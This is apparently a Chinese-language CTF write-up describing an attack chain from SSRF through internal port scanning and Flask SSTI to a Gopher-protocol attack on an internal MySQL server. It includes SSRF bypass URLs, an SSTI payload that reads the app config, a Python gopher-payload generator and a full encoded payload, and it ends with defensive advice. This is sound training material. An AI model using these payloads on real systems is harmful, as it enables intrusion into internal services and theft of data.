从SSRF到内网横移
简介
本文记录一次 CTF 渗透测试实战,攻击链从 SSRF(服务端请求伪造) 漏洞出发,经过代码审计、内网端口扫描、SSTI(服务端模板注入) 利用,最终通过 Gopher 协议直接攻击内网 MySQL 数据库获取 Flag。
[!NOTE] 前置知识
- 了解 SSRF 漏洞原理及常见绕过手法
- 熟悉 HTTP 协议与 MySQL 协议基础
- 掌握 Burp Suite、Wireshark 等工具使用
攻击链概览
外部 SSRF → 内网扫描 → SSTI 获取配置 → Gopher 攻击 MySQL → 读取 Flag发现后台入口
通过目录扫描发现后台管理入口:

代码审计与 SSRF
对后端代码进行审计,发现存在文件下载功能,参数 url 直接用于发起 HTTP 请求:

SSRF 绕过
尝试构造本地请求绕过限制:
?url=http://0.0.0.0/flag.php?url=http://127.0.0.1./flag.php(利用尾随点绕过)
内网端口扫描
使用 Burp Suite 对发现的内网网段进行端口扫描:

依次使用以下扫描模块进行探测:


扫描结果:

关键发现
扫描结果中获取到几个关键信息:
1. 后台源码(Flask 框架)

2. 服务器与数据库信息

SSTI 漏洞利用
基于源码分析,发现存在服务端模板注入(SSTI)风险。
验证 SSTI
构造 Payload 验证模板注入:
?url=http://172.11.243.81:8080/yulige/{{3*3}}
结果正常输出 9,确认存在 SSTI 漏洞。
获取数据库配置
通过 Flask 的 config 对象读取敏感信息,查找 HINT 配置项:
?url=http://ctf473831530.yulige.top:12345/?url=http://172.11.243.81:8080/yulige/{{url_for.__globals__['current_app'].config['HINT']}}[!TIP] Payload 说明
由于 URL 中单引号需要编码,实际提交时 ' 已做 URL 编码处理(%27)。

成功获取 MySQL 数据库账号信息。
Gopher 协议攻击 MySQL
确认目标为内网数据库后,采用 Gopher 协议 结合 SSRF 漏洞直接发起 MySQL 登录请求。
攻击原理
SSRF 支持 gopher:// 协议时,可以构造任意 TCP 请求。MySQL 协议基于 TCP,因此可通过 Gopher 协议伪造 MySQL 登录数据包,直接连接内网 MySQL 服务器。
抓包分析
启动 MySQL 服务(Kali 系统):
service mysql start启动 Wireshark 抓包,选择
any接口:
执行本地 MySQL 登录:
mysql -h127.0.0.1 -uyuligeeee123321 -p密码留空直接回车。
分析 TCP 流:在 Wireshark 中右键 → 追踪流 → TCP 流,选择本机发送给数据库的数据包,查看原始数据:


构造 Gopher Payload
使用 Python 脚本解析抓包数据并构造可复用的 Gopher Payload:
dump = """c500000184a69f20000000012d000000000000000000000000000000000000000700000079756c69676565656531323333323100006d7973716c5f6e61746976655f70617373776f7264007d035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404323330380f5f636c69656e745f76657273696f6e05332e302e38095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31"""# 原始握手数据query = input("Give query to execute: ")# 需要执行的 SQL 指令auth = dump.replace("\n", "")def encode(s): a = [s[i:i + 2] for i in range(0, len(s), 2)] return "_%" + "%".join(a)def get_payload(query): if query.strip() != '': query = query.encode("hex") query_length = '{:x}'.format((int((len(query) / 2) + 1))) pay1 = query_length.rjust(2, '0') + "00000003" + query final = encode(auth + pay1 + "0100000001") return final else: return encode(auth)print("\nYour gopher link is ready to do SSRF : \n")print(get_payload(query))在 Give query to execute: 处输入目标 SQL 语句(如 show databases;),生成 Gopher Payload 后进行 URL 编码。
执行攻击
构造完整 Payload 并通过 SSRF 参数触发:
?url=gopher://172.11.243.218:3306/_%25c5%2500%2500%2501%2584%25a6%259f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2507%2500%2500%2500%2579%2575%256c%2569%2567%2565%2565%2565%2565%2531%2532%2533%2533%2532%2531%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%257d%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%250a%256c%2569%2562%256d%2561%2572%2569%2561%2564%2562%2504%255f%2570%2569%2564%2504%2532%2530%2538%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2505%2533%252e%2530%252e%2538%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250c%255f%2573%2565%2572%2576%2565%2572%255f%2568%256f%2573%2574%2509%2531%2532%2537%252e%2530%252e%2530%252e%2531%2510%2500%2500%2500%2503%2573%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%253b%2501%2500%2500%2500%2501
读取 Flag
根据返回信息,依次执行以下查询:
查看数据库列表:
use fla4441111g; show tables;
读取 Flag 表:
use fla4441111g; select * from F1111llllggggg;
最终获取 Flag:id: 32
总结
本次渗透测试完整展示了从外围 SSRF 到内网数据库利用的攻击链路:
- SSRF 发现 → 通过代码审计确认文件下载功能存在 SSRF
- 内网扫描 → 利用 SSRF 探测内网端口,发现 Flask 后台与 MySQL 服务
- SSTI 利用 → 通过模板注入获取数据库配置信息
- Gopher 攻击 → 构造 MySQL 协议数据包,直接查询数据库获取 Flag
[!WARNING] 防御建议
- SSRF:限制请求协议(仅允许 HTTP/HTTPS),禁止访问内网 IP,禁用重定向
- SSTI:对用户输入进行严格过滤,避免直接拼接模板
- MySQL:对内网数据库设置访问白名单,禁止外网直接访问